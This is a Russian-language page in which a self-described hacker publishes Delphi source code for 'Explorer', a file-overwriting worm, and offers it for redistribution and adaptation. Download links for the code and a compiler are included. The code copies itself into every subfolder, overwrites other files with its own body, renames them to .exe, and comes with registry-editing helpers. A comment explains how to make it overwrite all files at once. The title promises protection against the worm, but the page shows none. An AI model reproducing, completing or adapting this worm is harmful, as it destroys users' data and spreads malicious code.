Исходный код вируса | Перезаписывающий файловый червь Explorer (Исследователь) на Delphi и защита от него
Здравствуйте, меня зовут - Максимов Дмитрий Сергеевич, я, - профессиональный хакер, моё творение - вирус, - Перезаписывающий файловый червь, - Explorer (Исследователь), на Delphi.
Не являет полноценным исходным кодом, пользователь данного исходного кода, переделывает данный исходный код, под себя.
Разрешено, распространение, данного исходного кода и других компонентов, данной сборки, при условии, по возможности, указания автора, данного исходного кода и других компонентов, данной сборки, то есть - меня, - Максимова Дмитрия Сергеевича.
Мой стрим данного вируса на RuTube.ru: https://rutube.ru/video/0c86ad427bfef4a649f48454f51adfed/
Ссылки для скачивания:
Исходный код вируса - Explorer (Исследователь): https://disk.yandex.ru/d/0o6sdOqurkQmSQ Компилятор - Borland Delphi 7 Enterprise: https://disk.yandex.ru/d/U6I5YQQKV3D6uw
procedure Duplication(DirPath: string); var FR: Integer; SR: TSearchRec; begin if not DirectoryExists(DirPath) then Exit; if (DirPath[Length(DirPath)] <> '\') and (DirPath[Length(DirPath)] <> '/') then DirPath:= DirPath + '\'; FR:= FindFirst(DirPath + '*.*', faAnyFile, SR); while FR = 0 do begin if ((SR.Attr and faDirectory) = faDirectory) and (SR.Name <> '.') and (SR.Name <> '..') then begin WriteFileX(ParamStr(0), DirPath + Sr.Name + '\' + Sr.Name + '.exe'); Duplication(DirPath + SR.Name); end; FR:= FindNext(SR); end; end;
procedure XXX(DirPath: string); var FR: Integer; SR: TSearchRec; begin if (WriteIntX <= 0) or not DirectoryExists(DirPath) then Exit; if (DirPath[Length(DirPath)] <> '\') and (DirPath[Length(DirPath)] <> '/') then DirPath:= DirPath + '\'; FR:= FindFirst(DirPath + '*.*', faAnyFile, SR); while FR = 0 do begin if (SR.Attr and faDirectory) <> faDirectory then begin if WriteIntX <= 0 then // Если это убрать, то данный вирус, будет перезаписывать файлы своим телом, Exit; // в каждой папке, сразу if CompareFiles(ParamStr(0), DirPath + SR.Name) = False then begin WriteFileX(ParamStr(0), DirPath + SR.Name); if CompareFiles(ParamStr(0), DirPath + SR.Name) = True then begin if ExtractFileExt(DirPath + SR.Name) <> '.exe' then RenameFile(DirPath + SR.Name, ChangeFileExt(DirPath + SR.Name, '.exe')); WriteIntX:= WriteIntX - 1; if WriteIntX <= 0 then Exit; end; end; end else if (SR.Name <> '.') and (SR.Name <> '..') then XXX(DirPath + SR.Name); FR:= FindNext(SR); end; end;
var FolderX: string; begin FolderX:= 'Новая папка'; // Папка, где происходят действия данного вируса Duplication(FolderX); // Рекурсивное распространение (размножение) данного вируса WriteIntX:= 1; // Переменная указывающяя на количество рекурсивно перезаписываемых файлов телом данного вируса при каждом запуске XXX(FolderX); // Рекурсивная перезапись файлов телом данного вируса end.
function RusConsole(STR: string): string; // Функция перевода командной строки на русские символы для операционных систем ниже Windows 10 function GetFileSizeX(FilePath: string): Int64; // Функция получения размера файла function CompareFiles(FileBody, FileX: string): Boolean; // Функция сравнения файлов на идентичность function DiskFreeExistsFX(Drive, FileBody: string): Boolean; // Функция для проверки хватания памяти накопителя для записи (копирования) файла procedure WriteFileX(FileBody, Path: string); // Процедура записи (копирования) файла до 1000000 символов procedure WriteFileXS(FileBody, Path: string; Attr: Integer); // Расширенная процедура записи (копирования) файла до 1000000 символов с сохранением атрибута архивный, перезаписываемого файла (Атрибуты) function GetFolderPath(Folder: Integer): string; // Получения пути к файлу или папки по уникальному коду // Работа с системным реестром function RegAddKey(Value: string; RootKey: Cardinal; PathKey: string; Chn: Boolean; NameKey: string): Boolean; // Создание директории (папки) в системном реестре function RegDeleteKey(RootKey: Cardinal; PathKey, NameKey: string): Boolean; // Удаление директории (папки) в системном реестре function RegAddValueKey(Value: string; RootKey: Cardinal; PathKey: string; Chn: Boolean; NameValueKey: string): Boolean; // Создание строкового параметра в системном реестре function RegDeleteValueKey(RootKey: Cardinal; PathKey: string; NameValueKey: string): Boolean; // Удаление строкового параметра в системном реестре // __
implementation
function RusConsole(STR: string): string; var i: Integer; begin for i:= 1 to Length(STR) do begin if (Ord(STR[i]) >= 192) and (Ord(STR[i]) <= 239) then STR[i]:= Chr(Ord(STR[i])-64); if (Ord(STR[i]) >= 240) and (Ord(STR[i]) <= 255) then STR[i]:= Chr(Ord(STR[i])-16); end; Result:= STR; end;
function GetFileSizeX(FilePath: string): Int64; var F: TMemoryStream; begin Result:= -1; if not FileExists(FilePath) then Exit; try F:= TMemoryStream.Create; F.LoadFromFile(FilePath); Result:= F.Size; finally F.Free; end; end;
function CompareFiles(FileBody, FileX: string): Boolean; var f1, f2: TextFile; s1, s2: string; begin Result:= False; if not FileExists(FileBody) and not FileExists(FileX) then Exit; if GetFileSizeX(FileBody) = GetFileSizeX(FileX) then begin AssignFile(f1, FileBody); Reset(f1); AssignFile(f2, FileX); Reset(f2); while not Eof(f1) do begin Readln(f1, s1); Readln(f2, s2); if s1 <> s2 then begin Result:= False; CloseFile(f1); CloseFile(f2); Exit; end; end; Result:= True; CloseFile(f1); CloseFile(f2); end else Result:= False; end;
function DiskFreeExistsFX(Drive, FileBody: string): Boolean; var i: Integer; begin if DirectoryExists(Drive) then begin for i:= 1 to Length(EnglishAlphabet) do if EnglishAlphabet[i] = Drive[1] then if DiskFree(i) >= GetFileSizeX(FileBody) then Result:= True else Result:= False; end else Result:= False; end;
procedure WriteFileX(FileBody, Path: string); var FromF, ToF: file; AttrFile, NumRead: Integer; Buf: array[1..1000000] of Char; FM: Word; FExist: Boolean; begin if not FileExists(Path) then FExist:= False else begin FExist:= True; AttrFile:= FileGetAttr(Path); if AttrFile <> faUsual then FileSetAttr(Path, faUsual); end; FM:= FileMode; FileMode:= 0; AssignFile(FromF, FileBody); Reset(FromF, 1); BlockRead(FromF, Buf, SizeOf(Buf), NumRead); CloseFile(FromF); FileMode:= 2; AssignFile(ToF, Path); Rewrite(ToF, 1); BlockWrite(ToF, Buf, NumRead); CloseFile(ToF); FileMode:= FM; if FExist = True then if FileGetAttr(Path) <> AttrFile then FileSetAttr(Path, AttrFile); end;
procedure WriteFileXS(FileBody, Path: string; Attr: Integer); var AttrFile: Integer; begin if not FileExists(FileBody) then WriteFileX(FileBody, Path) else begin if CompareFiles(FileBody, Path) then begin AttrFile:= FileGetAttr(Path); if (AttrFile <> (Attr + faArchive)) and (AttrFile <> Attr) then if (AttrFile and faArchive) = faArchive then FileSetAttr(Path, Attr + faArchive) else FileSetAttr(Path, Attr); end else begin WriteFileX(FileBody, Path); AttrFile:= FileGetAttr(Path); if (AttrFile <> (Attr + faArchive)) and (AttrFile <> Attr) then if (AttrFile and faArchive) = faArchive then FileSetAttr(Path, Attr + faArchive) else FileSetAttr(Path, Attr); end; end; end;
function GetFolderPath(Folder: Integer): string; var Path: array[0..MAX_PATH] of Char; begin if Succeeded(SHGetFolderPath(0, Folder, 0, 0, Path)) then Result:= Path else Result:= ''; end;
function RegAddKey(Value: string; RootKey: Cardinal; PathKey: string; Chn: Boolean; NameKey: string): Boolean; var Reg: TRegistry; begin Result:= False; Reg:= TRegistry.Create; try Reg.RootKey:= RootKey; if Reg.OpenKey(PathKey, Chn) then begin if not Reg.KeyExists(NameKey) then Reg.CreateKey(NameKey); Reg.OpenKey(NameKey, False); if Reg.ReadString('') <> Value then Reg.WriteString('', Value); end else Exit; Reg.CloseKey; Result:= True; finally Reg.Free; end; end;
function RegDeleteKey(RootKey: Cardinal; PathKey, NameKey: string): Boolean; var Reg: TRegistry; begin Result:= False; Reg:= TRegistry.Create; try Reg.RootKey:= RootKey; if Reg.OpenKey(PathKey, False) then if Reg.KeyExists(NameKey) then Reg.DeleteKey(NameKey); Reg.CloseKey; Result:= True; finally Reg.Free; end; end;
function RegAddValueKey(Value: string; RootKey: Cardinal; PathKey: string; Chn: Boolean; NameValueKey: string): Boolean; var Reg: TRegistry; begin Result:= False; Reg:= TRegistry.Create; try Reg.RootKey:= RootKey; if Reg.OpenKey(PathKey, Chn) then begin if not Reg.ValueExists(NameValueKey) then Reg.WriteString(NameValueKey, Value) else if Reg.ReadString(NameValueKey) <> Value then Reg.WriteString(NameValueKey, Value); end else Exit; Reg.CloseKey; Result:= True; finally Reg.Free; end; end;
function RegDeleteValueKey(RootKey: Cardinal; PathKey, NameValueKey: string): Boolean; var Reg: TRegistry; begin Result:= False; Reg:= TRegistry.Create; try Reg.RootKey:= RootKey; if Reg.OpenKey(PathKey, False) then begin if Reg.ValueExists(NameValueKey) then Reg.DeleteValue(NameValueKey); end else Exit; Reg.CloseKey; Result:= True; finally Reg.Free; end; end;
